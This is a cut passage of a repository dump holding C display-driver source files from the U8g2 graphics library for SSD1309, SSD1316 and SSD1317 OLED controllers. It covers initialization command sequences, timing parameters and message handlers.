u8x8_d_ssd1309_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_128x64_noname2_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=================================================*/\n/* offset 0 version */\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1309_128x64_noname0_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd1309_128x64_noname0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1309_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_128x64_noname0_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=================================================*/\n/*\n  EA OLEDS102\n  Contributed here: https://github.com/olikraus/u8g2/pull/1497/files\n  Manually added here, device renamed from SSD1309 to SSD1306\n*/\n\nstatic const uint8_t u8x8_d_ssd1309_102x64_ea_oleds102_init_seq[] = {\n\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_C(0x40),         //Set Display start line\n  U8X8_C(0xA0),         //Bottom View no Segment remap\n  U8X8_C(0xC0),         //Bottom View COM scan direction normal\n  U8X8_C(0x2E),         //StartColumnAddress\n  U8X8_CA(0x8D, 0x95),  //Switch Charge Pump (9V)\n  U8X8_CA(0x20, 0x02),  //Set Memory AddressMode\n  U8X8_CA(0x81, 0xFF),  //Set Brightness\n  U8X8_CA(0xD5, 0x40),  //Set Display Clock Divide\n  U8X8_CA(0xD9, 0xF1),  //Set Precharge Periode\n  U8X8_CA(0xAD, 0x30),  //Set Internal Ref\n  U8X8_CAA(0x21, 0x0D, 0x72), //Set ColumnAddress to 13x8 + 10 = 114/0x72\n  U8X8_CAA(0x22, 0x00, 0x3F), //Set PageAddress\n  U8X8_C(0xAF),         //Display on\n\n  U8X8_END_TRANSFER(),  /* disable chip */\n  U8X8_END()            /* end of sequence */\n};\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1309_102x64_ea_oleds102_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 13,  /* width of 13*8=104 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 13, \n  /* flipmode_x_offset = */ 13,\n  /* pixel_width = */ 102,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd1306_102x64_ea_oleds102(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_128x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1309_102x64_ea_oleds102_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1309_102x64_ea_oleds102_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1309 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n      if ( c + x > 115u )\n      {\n        c = 115u;\n        c -= x;\n      }\n      do\n      {\n        u8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n        arg_int--;\n      } while( arg_int > 0 );\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}                                                                     \n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1316.c",
    "content": "/*\n\n  u8x8_d_ssd1316.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  SSD1316: 128x39 OLED\n  \n  https://github.com/olikraus/u8g2/issues/919\n\n*/\n\n\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_ssd1316_128x32_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1316_128x32_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1316_128x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1316_128x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n\n/*===================================================*/\n\nstatic uint8_t u8x8_d_ssd1316_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_128x32_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n\n      u8x8_cad_StartTransfer(u8x8);\n    \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\t/* probably wrong, should be SendCmd */\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */\n\n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===================================================*/\n\n\n/* QT-2832TSWUG02/ZJY-2832TSWZG02 */\nstatic const uint8_t u8x8_d_ssd1316_128x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t        /* display off */\n  U8X8_C(0x040),\t\t        /* start line */\n  U8X8_CA(0x081, 0x045), \t\t/* QG-2832TSWZG02 datasheet */\n\n  U8X8_C(0x0a6),\t\t\t/* none inverted normal display mode */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio, duty = 1/32 */\n\n  U8X8_C(0x0a1),\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t/* c0: scan dir normal, c8: reverse */\n\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x0db, 0x020), \t\t/* vcomh deselect level */  \n  U8X8_CA(0x08d, 0x015),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, */\n  \n  //U8X8_CA(0x0a2, 0x000),\t\t/* set display start line to 0 */\n  //U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  \n  // Flipmode\n  //U8X8_C(0x0a1),\t\t\t/* segment remap a0/a1*/\n  //U8X8_C(0x0c0),\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_C(0x02e),\t\t\t/* Deactivate scroll */ \n  //U8X8_C(0x0a4),\t\t\t/* output ram to display */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\n\nstatic const u8x8_display_info_t u8x8_ssd1316_128x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* reset time */\n  /* post_reset_wait_ms = */ 100, /* reset delay */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1316_128x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1316_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_128x32_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_128x32_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*===================================================*/\n/*\nQG-9632TLBZG02\nhttps://datasheet.lcsc.com/lcsc/1804162033_Shenzhen-Allvision-Tech-QG-9632TLBZG02_C91216.pdf\nhttps://github.com/olikraus/u8g2/issues/1938\n\n96x32\n*/\n\nstatic const uint8_t u8x8_d_ssd1316_96x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t        /* display off */\n  U8X8_C(0x040),\t\t        /* start line */\n  U8X8_CA(0x081, 0x045), \t\t/* QG-2832TSWZG02 datasheet: 0x081, 0x45 */\n                                                        /* QG-9632: 0x81, 0x60 */\n\n  U8X8_C(0x0a6),\t\t\t/* none inverted normal display mode */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio, duty = 1/32 */\n\n  U8X8_C(0x0a1),\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t/* c0: scan dir normal, c8: reverse */\n\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x0db, 0x020), \t\t/* vcomh deselect level */  \n  U8X8_CA(0x08d, 0x015),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, */\n                                                        /* QG-9632: 0x8d, 0x10 */\n  \n  //U8X8_CA(0x0a2, 0x000),\t\t/* set display start line to 0 */\n  //U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  \n  // Flipmode\n  //U8X8_C(0x0a1),\t\t\t/* segment remap a0/a1*/\n  //U8X8_C(0x0c0),\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_C(0x02e),\t\t\t/* Deactivate scroll */ \n  //U8X8_C(0x0a4),\t\t\t/* output ram to display */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_ssd1316_96x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* reset time */\n  /* post_reset_wait_ms = */ 100, /* reset delay */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1316_96x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1316_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1316_96x32_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1316_96x32_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1317.c",
    "content": "/*\n\n  u8x8_d_ssd1317.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  SSD1317: 128x96 OLED\n  \n  https://github.com/olikraus/u8g2/issues/663\n\n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* more or less generic setup of all these small OLEDs */\nstatic const uint8_t u8x8_d_ssd1317_96x96_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t        /* display off */\n  U8X8_CA(0x0d5, 0x0d1),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0a2, 0x000),\t\t/* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a0),\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  // Flipmode\n  //U8X8_C(0x0a1),\t\t\t/* segment remap a0/a1*/\n  //U8X8_C(0x0c0),\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x09f), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x0ff), \t\t/* vcomh deselect level */  \n  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()           \t\t\t/* end of sequence */\n};\n\n\n\nstatic const uint8_t u8x8_d_ssd1317_96x96_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1317_96x96_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1317_96x96_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1317_96x96_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1317_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1317_96x96_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1306 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      